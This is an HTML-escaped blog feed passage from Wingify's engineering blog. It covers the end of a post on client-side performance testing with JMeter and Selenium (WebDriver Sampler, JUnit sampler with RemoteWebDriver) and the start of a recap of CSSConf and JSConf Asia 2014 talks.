id=&quot;using-jmeter-webdriver-sampler-with-selenium&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#using-jmeter-webdriver-sampler-with-selenium&quot; aria-label=&quot;using jmeter webdriver sampler with selenium permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Using JMeter WebDriver Sampler with Selenium&lt;/h3&gt; &lt;p&gt;Web Driver Sampler automates the execution and collection of Performance metrics on the Browser (client-side). You can download this plugin from the link shared below.&lt;/p&gt; &lt;p&gt;A large part of performance testing, up to this point, has been on the server side of things. However, with the advancement of technology, HTML5, JS and CSS improvements, more and more logic and behaviour have been pushed down to the client. This adds to the overall perceived performance of website/webapp, but this metric is not available in JMeter.&lt;/p&gt; &lt;p&gt;Simply add the following to your test plan:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Firefox Driver Config&lt;/li&gt; &lt;li&gt;Web Driver Sampler&lt;/li&gt; &lt;li&gt;View Results Table&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;&lt;img src=&quot;/images/2015/01/01.png&quot;&gt;&lt;/p&gt; &lt;p&gt;Now add the following JavaScript code in WebDriver Sampler&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token constant&quot;&gt;WDS&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sampleResult&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sampleStart&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;WDS&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;http://wingify.com&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;WDS&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sampleResult&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sampleEnd&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;The only problem with approach is that the automation capability is limited. But again that depends on the application. &lt;/p&gt; &lt;p&gt;For more info, visit &lt;a href=&quot;http://jmeter-plugins.org/wiki/WebDriverTutorial/&quot;&gt;http://jmeter-plugins.org/wiki/WebDriverTutorial/&lt;/a&gt;&lt;/p&gt; &lt;h3 id=&quot;using-junit-sampler&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#using-junit-sampler&quot; aria-label=&quot;using junit sampler permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Using JUnit Sampler&lt;/h3&gt; &lt;p&gt;Using this method all we need to do is create a JAR file using Eclipse and export it to JMeter. &lt;/p&gt; &lt;p&gt;&lt;strong&gt;Creating JAR using Eclipse&lt;/strong&gt;&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Create a JUnit Test case in your project.&lt;/li&gt; &lt;li&gt;Write the following selenium code to open your homepage.&lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;package&lt;/span&gt; wing&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;org&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;junit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Assert&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;*&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;java&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;net&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;MalformedURLException&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;java&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;net&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;URL&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;org&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;junit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Test&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;org&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;openqa&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;selenium&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;WebDriver&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;org&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;openqa&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;selenium&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;remote&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;DesiredCapabilities&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;org&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;openqa&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;selenium&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;remote&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;RemoteWebDriver&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; home &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token annotation punctuation&quot;&gt;@Test&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;MalformedURLException&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;WebDriver&lt;/span&gt; driver2 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;RemoteWebDriver&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;URL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;http://22.222.122.22:4444/wd/hub&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;DesiredCapabilities&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;firefox&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; driver2&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;http://wingify.com&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;out&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;driver2&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getTitle&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; driver2&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;quit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: In the above code we are using RemoteWebDriver to open the browser on a different machine since we will integrate our test with jenkins.&lt;/p&gt; &lt;p&gt;Once this is done you just need to export the JUnit test case to JMeter. Just copy the JAR file into JMeter/extras/JUnit folder and restart JMeter. &lt;/p&gt; &lt;p&gt;After this just click on &quot;Search for JUnit 4 annotations&quot; in case you created a JUnit 4 test case and you ll find the JAR file with class name in drop down.&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;/images/2015/01/02.png&quot;&gt;&lt;/p&gt; &lt;h3 id=&quot;simulate-an-ajax-request-using-jsr223-sampler&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#simulate-an-ajax-request-using-jsr223-sampler&quot; aria-label=&quot;simulate an ajax request using jsr223 sampler permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Simulate an Ajax request using JSR223 sampler&lt;/h3&gt; &lt;p&gt;Normally this method is not recommended. But if above solutions don&apos;t work well with your system you can go for Beanshell and use any scripting language like groovy to create Ajax request.&lt;/p&gt; &lt;h2 id=&quot;conclusion&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#conclusion&quot; aria-label=&quot;conclusion permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Conclusion&lt;/h2&gt; &lt;p&gt;Below are some points to keep in mind while creating performance test plan:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Create custom scripts for different use cases and create a threshold for various metrics.&lt;/li&gt; &lt;li&gt;You can also use headless browser testing using &lt;strong&gt;HtmlUnitDriver&lt;/strong&gt; or &lt;strong&gt;Xvfb&lt;/strong&gt; depending on your system. This approach would work well if you need to combine these with your load test.&lt;/li&gt; &lt;li&gt;You can integrate your tests with &lt;strong&gt;Jenkins&lt;/strong&gt; using the &lt;strong&gt;performance plugin&lt;/strong&gt;. It really helps with reporting and you can simply run it with each new build. In fact, that is also how we do it here at Wingify.&lt;/li&gt; &lt;li&gt;Client-Side performance testing is always done using 1 or 2 threads. But if you need to use it with your load test then you can simulate as many threads as you wish to.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;There&apos;s a lot more exciting stuff you can do to handle Javascript/Ajax enabled applications. This is just a brief summary of the work we do here at &lt;a href=&quot;http://wingify.com&quot;&gt;Wingify&lt;/a&gt;. Hope this helps you get started. There can be many ways you can achieve amazing results. If you have any questions/comments, or create something awesome, we will be more than happy to hear from you. &lt;/p&gt;</content:encoded><author>Rahul Jain</author></item><item><title><![CDATA[Wingify at CSSConf / JSConf Asia 2014]]></title><description><![CDATA[Back in November, I, along with some colleagues from Wingify went to Singapore to attend CSSConf and JSConf Asia. A part of DevFest Asia, it…]]></description><link>https://engineering.wingify.com//posts/jsconf-asia-2014/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/jsconf-asia-2014/</guid><pubDate>Sat, 17 Jan 2015 00:00:00 GMT</pubDate><content:encoded>&lt;style&gt; h2 a, h3 a { text-decoration: underline; } &lt;/style&gt; &lt;p&gt;Back in November, I, along with some colleagues from &lt;a href=&quot;http://wingify.com&quot;&gt;Wingify&lt;/a&gt; went to Singapore to attend &lt;a href=&quot;http://2014.cssconf.asia/&quot;&gt;CSSConf&lt;/a&gt; and &lt;a href=&quot;http://2014.jsconf.asia/&quot;&gt;JSConf&lt;/a&gt; Asia. A part of &lt;a href=&quot;http://2014.devfest.asia/&quot;&gt;DevFest Asia&lt;/a&gt;, it is the best way to meet and connect with front-end designers and developers in South East Asia. It was the first time CSSConf was happening in Asia, and our own &lt;a href=&quot;http://twitter.com/chinchang457&quot;&gt;Kushagra Gour&lt;/a&gt; had the opportunity to speak at it. He talked about &lt;em&gt;&lt;a href=&quot;https://speakerdeck.com/chinchang/10-commandments-for-efficient-css-architecture-cssconf-dot-asia-14&quot;&gt;10 Commandments for efficient CSS architecture&lt;/a&gt;&lt;/em&gt;. The conference venue was Hotel Amara Sanctuary, on the island of Sentosa, Singapore.&lt;/p&gt; &lt;h2 id=&quot;cssconf&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#cssconf&quot; aria-label=&quot;cssconf permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;CSSConf&lt;/h2&gt; &lt;p&gt;The day began with boarding the MRT and the Sentosa Express to get to the venue, and meanwhile being mesmerized by the marvelous Singaporean skyscrapers. A sip of coffee at the &lt;a href=&quot;http://www.jimmymonkey.com/&quot;&gt;Jimmy Monkey Cafe&lt;/a&gt; made our eyes open wide, and began &lt;a href=&quot;https://twitter.com/serrynaimo&quot;&gt;Thomas&lt;/a&gt;&apos; introduction to Asia&apos;s first CSSConf. It is commendable for a small bunch of people to organize conferences for the community at such large scale, working part time.&lt;/p&gt; &lt;p&gt;The quality of the talks at the conference was way above our expectations for a first-time event. The speakers and the topics they spoke about were pretty interesting. Below are the talks that I found really intriguing, and I recommend everyone to go through the videos and slides for them:&lt;/p&gt; &lt;h3 id=&quot;no-more-tools-by-karolina-szczur&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#no-more-tools-by-karolina-szczur&quot; aria-label=&quot;no more tools by karolina szczur permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=_UKrEfkiNZE&quot;&gt;No More Tools&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/fox&quot;&gt;Karolina Szczur&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;Her talk made an interesting point: with all the rapid development happening in the front-end realm, we&apos;re making use of tools more than ever, which when mixed with biases and preferences, do more harm than good. She explained what puts apart good tools from the bad ones, and the telltale signs of a tool doing more harm than good.&lt;/p&gt; &lt;h3 id=&quot;build-scalable-automated-css-both-you-and-your-back-end-coders-can-love-by-christian-lilley&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#build-scalable-automated-css-both-you-and-your-back-end-coders-can-love-by-christian-lilley&quot; aria-label=&quot;build scalable automated css both you and your back end coders can love by christian lilley permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=Tk_0qYEFtAY&quot;&gt;Build Scalable, Automated CSS Both You and Your ’Back-End’ Coders Can Love&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/xmlilley&quot;&gt;Christian Lilley&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;As front-end developers, we have been conditioned to live and breathe CSS, both good and bad parts, beckoning a love-hate relationship with it. But it is rather cumbersome for someone new coming in ease into the concept of cascading style sheets, and that coupled with misused practices makes people think of CSS as some sort of dark magic. Christian&apos;s talk separates the good parts from the bad ones, and points the listeners into a direction everyone can take to make CSS a language everyone can love.&lt;/p&gt; &lt;h3 id=&quot;inside-the-airbnb-brand-evolution-by-fiona-tey&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#inside-the-airbnb-brand-evolution-by-fiona-tey&quot; aria-label=&quot;inside the airbnb brand evolution by fiona tey permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;a href=&quot;https://speakerdeck.com/fionatay/inside-the-airbnb-brand-evolution&quot;&gt;Inside the AirBnB brand evolution&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/MsFionaTay&quot;&gt;Fiona Tey&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;AirBnB&apos;s product is so simple, yet efficient to use, especially their mobile app that it makes you feel a sense of satisfaction competing products or even luxurious hotels couldn&apos;t match. Booking for a stay with the locals via AirBnB has always been exciting inspiring for me. And today it was a fortunate time to see the face behind such great product design.&lt;/p&gt; &lt;h3 id=&quot;what-are-we-doing-anyway-by-ben-schwartz&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#what-are-we-doing-anyway-by-ben-schwartz&quot; aria-label=&quot;what are we doing anyway by ben schwartz permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;a href=&quot;#&quot;&gt;What are we doing, anyway?&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/benschwarz&quot;&gt;Ben Schwartz&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;If you&apos;re like me, perhaps you ask yourself this question as the sun rises each morning. Recall a time when that wasn&apos;t really the question? Ben&apos;s talk took the listeners on a nostalgic ride to the years of hacking around and creating things from the past. Recall spending nights working on creating things as the first ray of sun hits the window, the pride of showing around your project in your peer group, hours upon hours of creative brainstorming to build something exciting? Ben extracts out the secret sauce for that feeling of happiness that stems from creating something and how to hold on to it to keep treading that road.&lt;/p&gt; &lt;img src=&quot;/images/2015/01/ben.jpg&quot;&gt; &lt;p&gt;&lt;em&gt;Words of Wisdom&lt;/em&gt;&lt;/p&gt; &lt;h2 id=&quot;jsconf&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#jsconf&quot; aria-label=&quot;jsconf permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;JSConf&lt;/h2&gt; &lt;p&gt;JSConf had multitude of interesting talks. Below are the ones I found rather inspiring to attend:&lt;/p&gt; &lt;h3 id=&quot;bad-form-by-chris-lienert&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#bad-form-by-chris-lienert&quot; aria-label=&quot;bad form by chris lienert permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 